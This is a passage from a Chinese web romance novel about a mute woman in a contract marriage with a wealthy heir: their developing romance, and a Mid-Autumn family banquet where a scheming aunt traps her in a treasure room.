郑誉却还是觉得不可思议,对她欲言又止,半天才犹豫着说道:“要不……先申请加班五天吧?万一国庆期间,特别是中秋那天有什么事,到时候就不用麻烦撤销了。要是没事,再申请后面三天的加班也来得及。” 诸愿这才想起,她现在不是一个人了,万一中秋顾识弈要她配合回去应付顾家人,她这边还在加班,就不好推脱了。 果然,当晚临睡前,顾识弈敲响了她的房门。 他站在门口,身姿挺拔,温和地说:“中秋顾家有个家宴,你陪我一起去?” 诸愿心里暗自庆幸郑誉提醒了她,点了点头表示同意。 顾识弈说完却没有立刻离开,反而微微笑着问她:“中秋前还有五天国庆长假,想去哪里玩?国内国外都行,我让人开始订机票和酒店。” 顾识弈并不常笑,更何况是这样温柔的笑容。 诸愿一时看得恍惚,直到反应过来他问的问题,才猛地清醒过来。 她立即拿出手机,快速打字:【我国庆五天都要上班,可能没时间,您是有什么其他安排吗?】 【要不要我撤销加班申请】这几个字,诸愿在输入框里打了又删,最终还是没有留下,小心的把屏幕递给了顾识弈看。 虽然她现在名义上要听他的话,但如果他没有明确要求,假期加班有三倍工资,她还是想抓住这个机会多赚点钱。 “公司不放假?”顾识弈像是完全不理解还有国庆要上班的公司。脸上的笑容淡了下去,语气也沉了几分。 诸愿见状,心里立刻慌了,赶紧打字解释:【不是的,是我主动申请的。如果你有安排的话,我马上就去撤销申请,一切按您的计划来。】 顾识弈看完,像是更不可思议了,也露出了和郑誉相似的神色,像是都无法理解她为什么要这么拼命地主动申请加班。 “为什么要加班?是还缺钱吗?还是有其他什么困难?只要你说出来,我都可以帮你。”他顿了顿,又补充道,“如果你觉得签一份合同不够,我们可以再签,多少份都无所谓。” 诸愿竟在顾识弈的声音里听出了一丝心疼和让步,明明他不需要这样的,她们的关系也远没到可以让他如此迁就的地步。 她轻轻摇了摇头,打字:【真的不用,谢谢您的关心。我就是觉得假期没什么别的事,而且国庆期间要拍的一个广告是我一直在争取的项目,所以就想着申请加班。真的谢谢您。】 屏幕刚递出去,就听顾识弈纠正她:“诸愿,不用对我说‘您’。” 诸愿愣了一瞬,下意识地就要道歉,指尖刚敲出:【对不起,顾总,我……】几个字。 “也不要喊我‘顾总’。”顾识弈就打断了她,语气里带着一丝不易察觉的无奈,甚至还轻轻叹了口气。 诸愿打字的手猛地一顿。 她慢慢抬起头,撞进顾识弈那双深邃而专注的眼眸里。 只听他用一种近乎耳语、无比认真的声音说:“‘顾总’和‘您’都太生疏了。” “我是你的丈夫,不是你的老板。” 第30章 诸愿不明白,自己恭敬地喊一声“顾总”,怎么就惹他不高兴了,甚至还提起了她们“假夫妻”的身份。 但她清楚,反驳只会被贴上“不听话”的标签。 她几乎没有犹豫,指尖飞快地在屏幕上敲下:【好的,我知道了。】 除了“顾总”她不知道还能叫什么,干脆直接避开了称呼的难题。 可顾识弈却没打算放过她。 他上前一步,压迫感瞬间笼罩下来:“忠叔说,你在爷爷面前叫我‘阿弈’?” 诸愿的眼睛睁大。 那不过是为了让顾老爷子信服,她才用手语比划了一下。此刻被当面提起,一股羞赧涌上心头,她开始后悔当初的小聪明。 “诸愿。”顾识弈再次逼近。 熟悉的松木香气萦绕鼻尖,诸愿下意识地后退。 “我想听你叫我‘阿弈’。”他步步紧逼,诸愿的后背已经快贴上卧室门了。 再退一步,他会不会跟着进来? 想到可能发生的事,诸愿硬着头皮挡住门缝,不肯再退一步。 她强作镇定,手指微抖,却坚持打字:【我不会说话,喊不了你。】 “没关系,你比划就行,我看得懂这句的手语。” 诸愿愣住了,歪着头打量他,试图分辨真假。 顾识弈坦然微笑,接受她的审视,像个胸有成竹的学霸等着老师的提问,丝毫不惧。 可诸愿显然不是经验丰富的老师,被他看着脸颊发烫,心跳也快了几分。 “诸愿。”他又轻唤一声。 就在她鼓起勇气,准备比划时,却听见他换了个称呼,声音低沉而温柔:“愿愿。” 她猛地抬头。 这个亲昵的称呼,她只在哥哥和苏沐的口中听过,那是她最亲近的人。 可顾识弈,就算不算严格意义上的老板,也是货真价实的雇主和债主。 他这么叫,怎么听都变扭,甚至让她心慌意乱。 “愿……”顾识弈刚发出第一个音节,诸愿就下意识地抬手捂住了他的嘴。对上他骤然幽暗的目光,她才惊觉到这个动作有多暧昧。 更让她心跳骤停的是,她竟感觉到他似乎想吻她! 她像被火烫到一般缩回手,眼看顾识弈又要靠近,诸愿不知哪里来的勇气,伸手一推。 让她意外的是,顾识弈竟然真的被推开了。 她来不及多想,转身逃回卧室,“砰”地一声关上了门。 背靠在冰冷的门板上,恐慌才后知后觉地蔓延:完蛋了,顾识弈肯定会生气的! 她明明都答应“卖”给他了,却连一个吻都不愿意,这看起来就像既想得到好处,又不愿意付出的小人,得了便宜还卖乖。 顾识弈会不会觉得这笔买卖亏了,不再帮她? 诸愿越想越怕,冷汗都快冒出来了。 她立刻打开房门,门外却空荡荡,顾识弈已经走了。 这下,诸愿的冷汗是真的下来了。 他一定是生气了,所以才不声不响地离开! 她满心愧疚,转身想去找他,手机却突然“叮咚”响了一声。 她随意一瞥,竟是顾识弈发来的消息,她赶紧点开: 顾识弈:【抱歉,我刚刚是不是吓到你了?】 诸愿怔住。 他不仅没生气,还反过来向她道歉? 一瞬间,她觉得顾识弈就像一个浑身散发着包容光芒的神祇。 她连忙回复:【没有吓到没有吓到,是我的问题,对不起!我太紧张了没准备好,下次一定不会了!】 顾识弈的回复很快:【没有吓到 就好。不用道歉,是我太心急了,应该给你时间适应,是我考虑不周。】 紧接着又一条:【你明天还要上班,很晚了,早点睡。】 诸愿想回复的手顿住了。 屏幕上“对方正在输入”的提示一闪而过,下一条消息跳了出来: 顾识弈:【晚安,好梦。】 莫名地,她的脸颊又热了起来,心跳也变得有些紊乱。 她深吸一口气,下定了决心,在屏幕上敲下回复。 另一边,顾识弈冲完澡出来,拿起手机就看见诸愿半小时前给他发来了新消息。 他走到床边坐下,解锁手机,当看清屏幕上的内容时,他的动作一下子顿住了。 下一秒,他控制不住地上扬唇角,放下手机,又转身进了浴室。 床上,亮着屏幕光的手机上,赫然显示—— 诸愿:【晚安,好梦。】 诸愿:【阿弈。】 国庆第一天,诸愿以为顾识弈会晚起,毫无防备地下了楼,抬头却看见餐桌旁的身影,她瞬间僵住。 似察觉到动静,顾识弈抬眼看过来。这下,她连转身逃上楼都来不及了。 “早。”顾识弈主动打招呼。诸愿只好硬着头皮走过去。 刚坐下,顾识弈就递来一片吐司,她连忙用碗接住,咬了一小口,里面竟然是她最爱的芋圆酱! 诸愿的眼睛瞬间亮了起来。 紧接着,一杯温热的牛奶又递到面前,她接过抿了一口,熟悉的七分糖,奶香醇厚,正是她习惯的口味。 她的眼睛弯成了月牙,然后突然意识到不对。 在此之前,她一直把自己当外人,从没提过什么喜好,顾识弈怎么会知道她喜欢芋圆酱的吐司和七分糖的牛奶? 巧合吗? 她偷瞄看起来毫无异常的顾识弈,只能按捺下疑惑,点头致谢。 一顿早餐下来,得益于顾识弈的主动,两人昨晚的尬尴渐渐消散了。 吃完早饭,诸愿起身打开打车软件。 李叔回老家修养了,顾识弈在家,王叔想必也要在家待命,她没打算麻烦。 然而当她出门,却见门前停着一辆从未见过的新豪车,顾识弈跟在她身后走出来,拉开了副驾驶的车门。 透过车窗看到驾驶座空着,诸愿才反应过来。 顾识弈要亲自送她上班。 虽然知道是好意,但让放假的雇主兼债主浪费时间送自己上班,诸愿光是想想就觉得折寿。 她赶紧打字:【我打车就好,你好不容易放假,在家休息吧。】 “我想送你。”顾识弈温声道,这话无疑是在说:送你,比在家休息更让我开心。 诸愿的脸颊瞬间泛红。 她发现,今天一早上顾识弈都是温柔的。 一方面,和这样的他相处,她觉得很舒服,不用时刻担心自己说错话、做错事。另一方面,又觉得疑点重重,总感觉哪里不对劲。 不过,现在既然顾识弈都这么说了,她自然不会再拒绝。 诸愿微微抿唇一笑,对他点点头,弯腰坐进了副驾。 下班后,顾识弈又来接她。 看到他身上不再是平时见惯的西装革履,而是简单的T恤叠穿衬衫配牛仔裤,诸愿眼前一亮。 他看起来像个温柔的邻家哥哥,又或是学识渊博的学长。更让她感到新奇惊讶的是,他这身打扮,竟然和她今天的穿着风格莫名地相似! 她甩甩头,把这归结为巧合。 也许顾识弈不过是放假想穿得舒服点。 但她那瞬间惊艳的眼神,还是被顾识弈捕捉到了,他勾了勾唇角,不动声色地说:“我给静姨和王叔放了假,她们中午就回老家了,接下来几天,我们出去吃。” 他转动方向盘,温柔询问:“想吃什么菜系?” 诸愿点头表示理解,然后打字:【我都可以,不挑。】 “鲁菜怎么样?” 诸愿立刻用力点头。 顾识弈侧头对她笑了一下,汽车平稳地开上路。 诸愿艰苦加班的几天里,顾识弈每天接她上下班,带她尝遍了不同的菜系:鲁菜的咸鲜、川菜的麻辣、粤菜的清鲜、苏菜的甜鲜、浙菜的鲜嫩、闽菜的鲜香、湘菜的香辣、徽菜的醇厚,每天都不重样。① 诸愿的胃口大开,甚至开始隐隐期待新一天吃什么。 第六天,她上车,顾识弈没有像往常一样询问,直接发动了车子。她也乐得轻松,不用再纠结回答吃什么。 二十分钟后,车子停在气派的别墅庭院,门卫上前,恭敬地问好,开始引路。 诸愿跟在顾识弈身侧,张望四周,总觉得周边环境有些熟悉。 这时,前面的人推开厚重的门扉。 厅内,璀璨的水晶灯高悬,衣香鬓影的人们三三两两聚在一起,欢声笑语与悠扬的乐曲交织。 奢华的桌上,银质餐具泛着冷光,精致的菜肴令人目不暇接。 诸愿这才想起,今天是中秋节,顾识弈带她来参加顾氏家宴了。 她下意识地攥紧了身上的衣摆,摸到不算柔软的布料,才想起自己穿的还是为了上班不让同事觉得她有钱的的便宜衣服。 顾老爷子的威严她早有领教,要是顾家人都盛装出席,她这副模样,会不会被当成笑话? 电视剧里那些因衣着不符合参宴标准而被嘲讽的剧情瞬间涌入脑海,她瑟缩了一下,侧头看向顾识弈,却愣住了。 自那天脱下西装后,他整个国庆都没再穿过,今天依旧是休闲打扮,和宴会厅的奢华氛围格格不入。 看到他也没穿正装,诸愿忽然松了口气。 就像上学没穿校服,却发现有同伴陪着,不用独自面对教导主任批评的释然。 这么一想,她忍不住弯了弯嘴角,又赶紧强迫自己压了下去。 毕竟,这里可是顾氏家宴—— 作者有话说:①:中国八大菜系口味如何来自百度描写提炼出来的,因为作者本人也没吃完八大菜系,无法凭空想象味道是怎么样的[爆哭] PS:目前进度条是,男主觉得自己“恋爱”了,女主还在“你是老板你说什么就是什么”中。 不过下一贴就会贴贴啦[彩虹屁]《 》 30-40 第31章 “别紧张。”顾识弈将她因强忍笑意而微微抖动的肩膀,错当成了紧张的表现。 他侧过头,用那低沉而富有磁性的嗓音安抚道:“有我在。” 这声音仿佛带着魔力,即使诸愿并未感到害怕,心中也泛起一阵暖意。 她不想辜负这份好意,点了点头。 下一秒,顾识弈的手伸到了她面前,诸愿犹豫片刻,将自己微凉的小手,放进了他那温热宽厚的掌心。 他的手掌有力地包裹住她,牵着她步入了金碧辉煌的宴会厅。 两人一出现,厅内所有人的目光便瞬间聚焦过来,带着审视与探究,落在诸愿身上的目光尤为复杂,有好奇,更有毫不掩饰的轻视。 诸愿只能尽力保持镇定,安静地跟在顾识弈身侧,试图降低自己的存在感。 这些陌生人的恶意她并不在意,毕竟他们或许只会在这场宴会上交集一次。 她真正担心的是身旁的顾识弈,对方既是雇主又是债主,若是她在宴会上失了态,丢了他的脸,那才是真的万劫不复。 “识弈来了。”一个穿着精美华服、气质雍容的中年女人迎了上来,正是顾识弈的大伯母舒晚。 她的目光在诸愿身上上下打量,嘴角勾起一抹礼貌却疏离的笑:“这位就是你娶的媳妇?怎么穿成这样就来了?不知道咱们家的规矩吗?识弈,你母亲不在了没人管,但可不能任由媳妇没个规矩。”话语间,满是暗讽与优越感。 说完,她才意识到顾识弈同样穿着休闲装,这话竟把他也一并骂了进去。 她愣了一下,随即嗔怪地对顾识弈道:“哎呀,识弈你也是,不知道今天是什么场合吗?也跟着胡闹穿成这样,都学坏了。我也就是你亲大伯母才愿意说你。” 诸愿暗自腹诽,本以为这位“教导主任”会一视同仁,没想到竟是亲戚护短,只会怪她这 个“外来者”带坏了“学霸”。 她不能说话,对方也未必有耐心看她打字解释。 看舒晚热络的样子,和顾识弈关系想必不错,那顾识弈肯定不会为了她而驳长辈的面子。 诸愿暗叹一声,自认倒霉,准备吃下这个哑巴亏。 然而,顾识弈却突然抬手招来经理,声音冷冽:“我不记得顾家参加家宴有这规矩,想必不是我们顾家人。今天是顾家家宴,既然是非顾家人,那就赶出去。” 他的声音不大,却足以让周围本就在偷偷观望的人听得一清二楚。 全场瞬间哗然,一片震惊。 诸愿也惊呆了,她以为最多是几句维护,没想到顾识弈会如此直接不留情面。 舒晚更是懵了,反应过来后,又惊又怒,尖声道:“我可是你的大伯母!你为了一个哑巴竟敢当不认我……” “那请大伯母摆正自己在顾家的位置,”顾识弈冷冷地打断她,眼神锐利如刀,“否则别怪我让你滚出去。” 这几个月来,顾识弈因结婚,已很少在家族里大动干戈,众人几乎忘了,这个曾在老爷子生辰宴上当场翻脸,气得老爷子住院的男人,本就是个冷酷无情的狠角色。 想在他面前撒野,简直是自寻死路。 如今他执掌顾家大权,这番话不仅是对舒晚的警告,更是在敲打那些蠢蠢欲动的旁支。 周围的人瞬间噤若寒蝉,唯有舒晚咽不下这口气。 恰好此时,顾城文搀扶着顾老爷子出现,她立刻扑上去哭诉:“父亲!我嫁给文城这么多年,生儿育女,尽心尽力地操持家务、培养顾家下一代。现在你们顾家人竟把我舒氏当外人要赶我走,今天必须给我个交代,否则,我就离婚,舒家从此和顾家割席!” 顾城文性格软弱,向来怕老婆。 听到妻子要离婚,他顿时慌了神,又不敢动已是顾家顶梁柱的侄子,只能劝道:“我道歉,老婆,我给您道歉。” “谁要你道歉!”舒晚不依不饶,“我堂堂舒家大小姐,当初真是瞎了眼,才会嫁给你这个废物!” “好了!”顾老爷子被人扶着,气场却丝毫不减,拐杖重重敲击在地板上,发出“笃”的一声,全场瞬间鸦雀无声,连撒泼的舒晚也立刻闭了嘴。 诸愿本就惧怕顾老爷子,这下更是吓得缩了缩脖子。 忽然,她的头顶被一只温暖的大手轻轻抚摸了一下。 她猛地侧头,对上顾识弈安抚的眼神。 这时,顾老爷子开口,声音威严:“识弈,怎么回事?” 顾识弈直视着老爷子,语气坚定,掷地有声:“爷爷,诸愿是我的妻子。别人想欺负她,我没有让她道歉,只是让她离开,已经很仁慈了。” 他的态度明确,维护之意不容置疑。 众人皆是聪明人,立刻明白,这位新少奶奶,是顾识弈心尖上认定的人。 舒晚平日里仗着长媳身份,在顾家作威作福,不少旁支小辈都受过她的气。 如今她以为顾识弈年轻,娶得又是个哑巴好拿捏,便想先来个下马威,没想到踢到了铁板上,这纯属咎由自取。 顾老爷子心中门儿清,舒晚那些小动作更是清楚。 只是他年事已高,需要有人帮着打理家事,舒晚虽跋扈,却在他面前还算听话,所以他才一直睁一只眼闭一只眼。 眼下,他最看重的继承人与他最能掌控的长媳起了冲突,这是他不愿看到的。 听完顾识弈的话,他又敲里敲拐杖,这次却是重重抬起,轻轻落下,语气缓和了些:“过个中秋,哪来这么多事。团圆的日子,家宴上别伤了和气。” 这话看似呵斥了顾识弈,实则阻止了舒晚继续纠缠,又未对顾识弈做出任何惩罚,算是间接默认了他的做法。 舒晚仍不服气,刚想再说什么,却被顾老爷子一个冰冷的眼神制止了。 少顷,老爷子沉声道:“开饭。” 一场闹剧就此收场。 顾家其他人虽对顾识弈独揽大权心存不满,但这是老爷子亲口定下的,在没有绝对实力之前,他们绝不会傻到放弃这个攀交的机会。 毕竟顾识弈随便漏点好处,就够他们享用一辈子。 不一会儿,就有人主动上前示好,知道顾识弈看重诸愿,连带着着对她也十分客气:“弈侄,侄媳,快来这边坐。” 有了第一个人带头,其他人纷纷效仿。 诸愿被恭维得有些不自在,吃完一顿饭,便借着去洗手间的借口脱身。她没有回宴会厅,而是径直走向了会所的阳台。 中秋的晚风带着丝丝凉意,吹拂着她的脸颊,抬头望去,一轮皎洁的圆月悬挂在夜空。 她忽然就很想念远在国外的哥哥,不知道他现在怎么样了。 往年的中秋节,她们都是一起过的,今年还是她们第一次分开。 这样算起来,她来顾家已经五个月了。 她轻轻叹了口气,身后却突然披上了一条带着体温的披肩。 她吓了一跳,刚想转身,就被一个有力的怀抱拥入怀中。 鼻尖萦绕着熟悉的松木香气,她瞬间便知道是顾识弈,身体也就放松了下来。 “在想什么?”他的声音在她耳边响起,带着一丝不易察觉的温柔。 诸愿想告诉他自己在想哥哥,但动了动身体,却发现顾识弈抱得很紧,根本腾不出手来打字。 她以为顾识弈只是随口一问,并未真的想知道答案,便安静地靠在他怀里。 倒是顾识弈主动说道:“在想你哥哥在国外的情况?” 诸愿猛地抬起头,惊讶地看向他。 顾识弈没有卖关子,语气温柔得与刚才在宴会厅上判若两人:“医生已经安排了为你哥哥做全面检查的手术,针对性的治疗方案也也在进一步完善,过不了多久,就会开始做手术。” 他的回答具体而详尽,显然是一直在关注着哥哥的病情。 诸愿心中涌起一股暖意,感激地看着他。 顾识弈将脸凑了过来,眼神深邃:“打算怎么感谢我?” 诸愿愣住了,看着他越来越近的脸,心跳不由得加速。 她不确定自己心中的猜测是否正确。 她踟蹰着,顾识弈却耐心地等待着,眼神中带着一丝期待。 诸愿抿了抿唇,鼓起勇气,缓缓地凑近他的脸,在即将触碰到顾识弈嘴唇的那一刻,她轻轻闭上了眼睛。 预想中的柔软触感却并未触碰到,她只感觉到顾识弈温热的呼吸拂过唇瓣,旋即又远离。 她以为是自己没对准,睁开眼,果然还差一点。 她赶紧踮起脚尖又凑上去,谁知那嘴唇又退开了些。 一来二去,她整个人都快挂在顾识弈身上了。 她抬眼看向他,心中充满疑惑:他这是……后悔了? 就在诸愿准备放弃这个感谢,顾识弈终于动了。 他的吻轻柔得像羽毛,带着小心翼翼的试探,落在了她微微颤抖的唇上。 诸愿的身体瞬间僵住。 清晰的心跳声震得耳膜嗡嗡作响,随即热意从心底蔓延全身,脸颊染上了一层薄红。 她下意识地想要后退,却被顾识弈揽在腰间的手轻轻一带,整个人更紧密地贴在了他怀里—— 作者有话说:刚刚突然发现,竟然发文一个月了诶![撒花] 真的好感谢坚持看到这里的朋友[爆哭]谢谢您们的包容[抱抱] 第32章 顾识弈的唇瓣碾过她的,从唇角到唇峰,细细描摹着形状,动作温柔而虔诚。 诸愿鼻尖萦绕着他独有的松木清香 ,紧绷的脊背在这气息里慢慢软下来,指尖泛起微麻的痒。 她不知道该怎么回应,只能本能地微微仰头,舌尖笨拙地蹭过他的下唇。 那一点柔软的触碰像火星子落进干草堆里,顾识弈扣在她后腰的掌心骤然收紧。 温热的舌尖缠上来时,诸愿只觉得脑子里的弦“嗡”地断了,晕得像踩在云里。 不知过了多久,他才缓缓退开,额头抵着她的,呼吸里的热意烫得她耳垂发红。 他眼底盛着的温情太满,几乎要漫出来,诸愿却不敢多看,只垂着眼盯着他衬衫上的纽扣。 她不知道的是,其实顾识弈要的谢礼很简单,不过是想亲眼看看她用手语比出“阿弈”两个字。 可他没料到,少女会会错意,竟直接踮脚吻了上来。 那一瞬间的悸动几乎掀翻他的理智,让他彻底忘了原本的打算,只想把这个吻再加深些,再久些。 他喉结滚了滚,声音微哑,尾音里裹着点餍足的笑意:“这谢礼,我收下了。” 诸愿的脸颊烫得能煎蛋,还在微微喘着气,听见这话,心头的热度却像被泼了一盆冷水,骤然冷却。 她惊愕地抬眼,撞进顾识弈的目光里。后者触及她的视线目露不解,像在问“怎么了”。 那点茫然刺破了她方才的沉溺,瞬间反应过来,是自己入戏太深,会错了这个深吻的意义。 她无措地摸了摸唇角,指尖还残留着他的温度。 在顾识弈要追问的前一秒,她飞快收回手,点开手机打字:【我们要不要回去了?】 顾识弈以为她害羞,没追问她突然的闪躲,顺着她的话点头。牵起她的手时,语气柔得能滴出水:“好。” 两人走出阳台,走廊拐角却撞见了忠叔。 老人微微躬身,声音恭敬:“孙少爷、孙少奶奶。”他没多余寒暄,直接表达了来意:“老先生请。” 话音刚落,诸愿握着他的手突然收紧。 顾识弈低头,看见她眼底的悸色,想到上次她被带走的经历,立刻明白,他沉声道:“放心,不想见可以不见。” 他的眼神太坚定,瞬间安抚住诸愿慌乱的心。 她用力点头,抬起头时,唇角绽开一个发自内心感激的笑。 这笑不同之前的礼貌疏离,带着暖意,顾识弈的心跳漏了一拍,喉间又泛起想吻她的冲动,可眼下的场景显然不合适。 他压下心底的旖旎,把她安置在安静的偏厅沙发,才跟着忠叔往楼上走。 诸愿端着橙汁抿了一口,刚放下杯子,身后就传来舒晚的声音:“原来你在这儿啊。” 她回头,看见舒晚脸上堆着热络的笑,和初见时别无二致,半点不见方才在宴会厅的暴怒。 像是看穿了她的疑惑,舒晚“嗐”了一声,语气熟稔得像多年好友:“我这人就是脾气来得快去得也快,刚才的事早忘了。你大人有大量,别跟我计较。” 诸愿不是傻子,自然不信。 可对方是长辈,顾识弈又不在,她只能扯了扯嘴角,算是回应。 舒晚也不介意她的冷淡,自顾自地说起来,从顾家老宅聊到宴会的宾客,絮絮叨叨没个停。 诸愿白天上了八个小时班,又提心吊胆应付了这一晚上,早就累得眼皮发沉,听着听着,意识就开始模糊。 直到舒晚的话里提到“顾老爷子的珍藏室”,说里面的古董有的能抵得上一个舒家,她才猛然清醒。 能抵得上一个舒家,那岂不是抵得上不知多少个诸家? “男人都是善变,靠不住的。”舒晚突然话锋一转,语气里多了几分语重心长,“你以为今天赢了,其实不然。我嫁进顾家这么多年,劳苦功高,结果呢?刚才还不是被一脚踢开。” 她盯着诸愿的脸,试探着说:“现在顾识弈护着你,不过是新鲜劲没过。”见诸愿没反驳,她的声音更大胆了些,“可男人都是花心的,等你老了,顾识弈还会护着你吗?外面的诱惑那么多,你怎么知道他是个例外?” 诸愿抬眼,撞进她眼底的算计,就像是猎人盯着陷阱里的猎物。 舒晚以为她动摇了,又补了句:“你肯定会说你们情比金坚,可当初顾城文也是这么跟我说的,现在呢?他老了,顾家要换新继承人了,就因为我是外姓,我的付出全被无视了。你也是外姓,就不怕今天的我,是明天的你?” 见诸愿没有进一步反应,舒晚的声音冷了几分:“何况你还是个哑巴,又没我这样的苏家背景,真到了那时候,你的处境只会比我更惨!” 她往前凑了凑,声音压得低了些,抛出诱饵:“我们要想稳固地位,光拴住男人没用,得让自己站在高处。” 诸愿心里一惊:她竟是想动顾家? 可她怎么敢轻易说出来?就不怕自己转头告诉顾识弈?还是她笃定自己一定会答应? 可舒晚不知道,她和顾识弈是假结婚,再过半年多她就要离开顾家了。 这些事,跟她毫无关系。 面对舒晚期待的目光,诸愿只能保持着礼貌的微笑,不点头也不摇头。 可在舒晚看来,这沉默的微笑就是拒绝挑衅,是明摆着的“敬酒不吃吃罚酒。” 舒晚的脸色瞬间垮下来,刚要发作,一个穿黑色西服的保镖突然走了过来,躬身道:“顾夫人,顾少奶奶。” “干什么?”舒晚被打断,语气冲得很。 保镖却只对诸愿恭敬地说:“少爷请少夫人去珍藏室,让您挑件喜欢的带走。” “哼,他倒会疼人。”舒晚翻了个白眼,语气里满是阴阳怪气。 保镖没接话,只做了个“请”的手势。 诸愿却是松了口气,总算能躲开舒晚了。 她起身跟着保镖走,路上才想起那些珍宝贵重,要是收下了,离婚时还得还,麻烦不说,万一丢了怎么办? 她正要打字拒绝,保镖已经推开一扇门:“少奶奶,到了。” 诸愿犹豫了。 离开了偏厅,她本就不知道该去哪,万一回去又遇上舒晚,更是麻烦,要是直接拒绝保镖,他恐怕也不好交差。 不如先进去逛一圈,再说没有喜欢的,也不算为难他,还能耗些等顾识弈的时间。 这么想着,她抬脚走了进去。 珍藏室里摆着整齐的博古架和陈列柜,宝石的光、青花瓷的釉、字画的墨、晃得人眼晕。 她感叹里面的奢华,细细地看着,不敢碰。 刚转过一个拐角,却猛地撞进了一双阴森的眼睛里——舒晚不知道什么时候也跟了进来。 藏宝室为了保护珍宝,灯光很暗。舒晚直直地站在不远处的阴影里,目光像淬了毒的刀子,诸愿被吓了一大跳。 —— 书房里,顾老爷子靠在真皮椅上打盹,顾识弈坐在对面的黄花梨交椅上,声音不高不低:“爷爷。” 老人睁开眼,伸了个懒腰,目光扫过门口:“她呢?” “在偏厅。” “看来你已经猜到我叫你来是做什么了。” 顾老爷子直入正题,手指敲了敲扶手,“我这身体,也是活一天算一天了。中秋过后,我打算去国外住一段时间,公司那边,我会让律师直接宣布决定,你不用担心,其他的,我信你能处理好。” 他顿了顿,语气沉了些:“只是家里这些亲戚……今天看着只有舒晚跳出来,其实盯着你位置的人不少。有时候做事留一线,别逼太急。” 这是在说今晚顾识弈不给舒晚面子的事。 目光落在孙子身上,老人又补了句:“我知道你今晚带她来,是想让所有人知道她的存在,也是断我后路。你既然执意要她,就随你吧。儿孙自有儿孙福,作 为长辈,我只提醒一句,她不能说话,以后做不了贤内助,你要是以后觉得难了,也得承担起责任,妥善安顿,别像你父亲那样。” 顾识弈知道他说的是真心话,没反驳,只是点了点头。 老人又想起什么,皱着眉问:“她吃药也快半年了,怎么还没怀上?” 顾识弈愣了一下,随即反应过来,老人说的“药”,是之前提过的“助孕药”。 他当时面上肯定,心里却是觉得荒谬。 现在想想,原来诸愿那时候就对他有意了吗? 顾识弈嘴角不自觉勾起。 不过,他和诸愿至今都没同床,就算是再过半年,诸愿也是不可能怀孕的。 他正要开口敷衍过去,楼下突然传来“咔嚓”一声脆响,紧接着是尖锐的尖叫。 顾老爷子最烦吵闹,脸色瞬间沉了下来,喊道:“忠伯!怎么回事?吵吵闹闹的,没一天安生!” 门外的忠伯连忙应道:“老爷,我去看看。” 顾老爷子的脸色稍缓,正要继续,却见向来不掺和家里琐事的孙子猛地站了起来。 “我也下去看看。”他的声音里带着一丝不易察觉的慌乱。 第33章 顾老爷子看着他匆匆离开的背影,刚压下去的不满又冒了上来。 可紧接着楼下便传来“顾宅闹鬼”的喧闹声,让他忍不住站起身。 他敲击拐杖:“来人,扶我下去。” 藏宝室里,舒晚抱臂站着,眼神狠戾地盯着诸愿。 她今晚本来就没打算善罢甘休,能说服诸愿合作最好,要是不能,就干脆一不做二不休,直接除掉她。 一来怕她泄露自己的野心,二来,顾识弈刚才在宴会厅驳了她的面子,她还憋着一口气没撒呢。 舒家是从黑转白的,她没嫁人前也是个狠角色,这些年在顾家不过是装温婉罢了。 除掉一个人,对她来说不算难事。 舒晚给保镖使了个眼色,那保镖立刻上前,伸手就要抓诸愿。 诸愿这才明白,哪里是顾识弈叫她来挑珍宝,根本是舒晚设下的圈套! 她心里慌乱了一瞬,很快又冷静下来。 上次在小巷子里被人围住时,她只能任人宰割,后来她偷偷模拟过好几次遇到危险该怎么办。 此刻见保镖逼近,她不再吓得跟动不了似的,迅速转身往门口跑。 可那保镖是练家子,速度比她快得多。眼见对方的手就要抓住她的胳膊,诸愿急中生智,矮身躲开,顺手拉住旁边空的博古架,挡在了自己和保镖之间。 博古架撞到保镖的胳膊,他吃痛地闷哼一声,眼神更狠了。 诸愿心里一沉。 他怕是不只想抓住她,是想让她永远闭嘴! 毕竟只有死人才不会告密。 这个念头一冒出来,诸愿的后背瞬间被冷汗浸湿。强烈的求生欲让她改变了策略,一边往门口跑,一边用力推倒路过的博古架。 “咔嚓”“哗啦”的碎裂声此起彼伏,精致的花瓶、玉器摔在地上,碎成了片。 舒晚看得心疼极了。 这些东西,她盼了十几年,本想等自己掌控顾家后据为己有,现在却被诸愿随手砸了! 她气得嘴唇发抖,刚要开口骂,就看见诸愿举起了一个青花瓷瓶——那是顾老爷子收藏了大半辈子的珍品,早就绝迹了! “你敢!”苏晚尖叫起来。 可诸愿根本没停手,手一松,花瓶“砰”地砸在地上,碎成了八瓣。 舒晚的肝胆都跟着颤了颤,她指着侧身躲避的保镖,声音尖利:“废物!还愣着干什么?快抓住她!想被人听到声音发现吗?” 保镖也慌了,要是抓不住诸愿,他今天肯定拿不到钱! 他不再顾忌那些珍宝,快步上前,伸手就去抓诸愿的手腕。 诸愿往后退了几步,手里抓起一个不起眼的摆件。 那摆件看起来像虎又像狮,她不知道是什么,只知道能用来挡一下。 可她刚举起来,就看见舒晚的脸瞬间没了血色,连呼吸都变得急促起来。 “快把她抓住!”舒晚疯了一样大喊,“气死我了!气死我了!” 保镖眼疾手快,在诸愿扔之前,一把抓住了诸愿的手腕,力道大得几乎要捏碎她的骨头。 舒晚这才松了口气,捂着胸口走上前,伸手夺过那摆件。 就在这事,藏宝室的门突然被人一脚踹开。 “砰”的一声巨响,震耳欲聋。 舒晚吓得浑身一哆嗦,手里的摆件差点摔在地上。可还没等她反应过来,诸愿突然用力拽过她手里的摆件,狠狠砸在了自己的额头上。 鲜血瞬间冒出,顺着她的脸颊往下淌。 舒晚愣在原地,还没明白她要干什么,身后就传来了顾识弈冰冷刺骨的声音,仿佛来自地狱:“谁允许你们动她的。” —— 顾老爷子下楼时,藏宝室门口已经围满了人。忠叔呵斥了一声,人群立即让开了一条路。 老人走进来,一眼就看见满地的碎片——那些都是他珍藏了一辈子的宝贝,此刻全成了垃圾。 不远处,诸愿晕倒在顾识弈怀里,额头上还在流血。顾识弈抱着她,眼神冷得能冻死人,对面站着脸色难看的舒晚。 “你砸晕诸愿,是想做什么?”顾识弈的声音没有起伏,却带着让人胆寒的压迫感。 舒晚这才回过神来,诸愿哪里是自残,是在嫁祸她! 她慌忙辩解:“不是我砸的!是她自己砸的!” 话音刚落,她看见顾老爷子走进来,立刻指着满地碎片尖叫:“还有这些!都是她砸的!” 顾识弈低头,轻轻拂过诸愿额角的碎发,动作温柔得不像话,声音却更冷了:“你的意思是,诸愿把这里砸了,再自己砸晕自己?那请问,你在这里,又是做什么?” 众人闻言,立刻窃窃私语起来:“肯定是顾夫人干的,两人刚见面就掐起来了,顾夫人落了下风,指不定来这报复。” 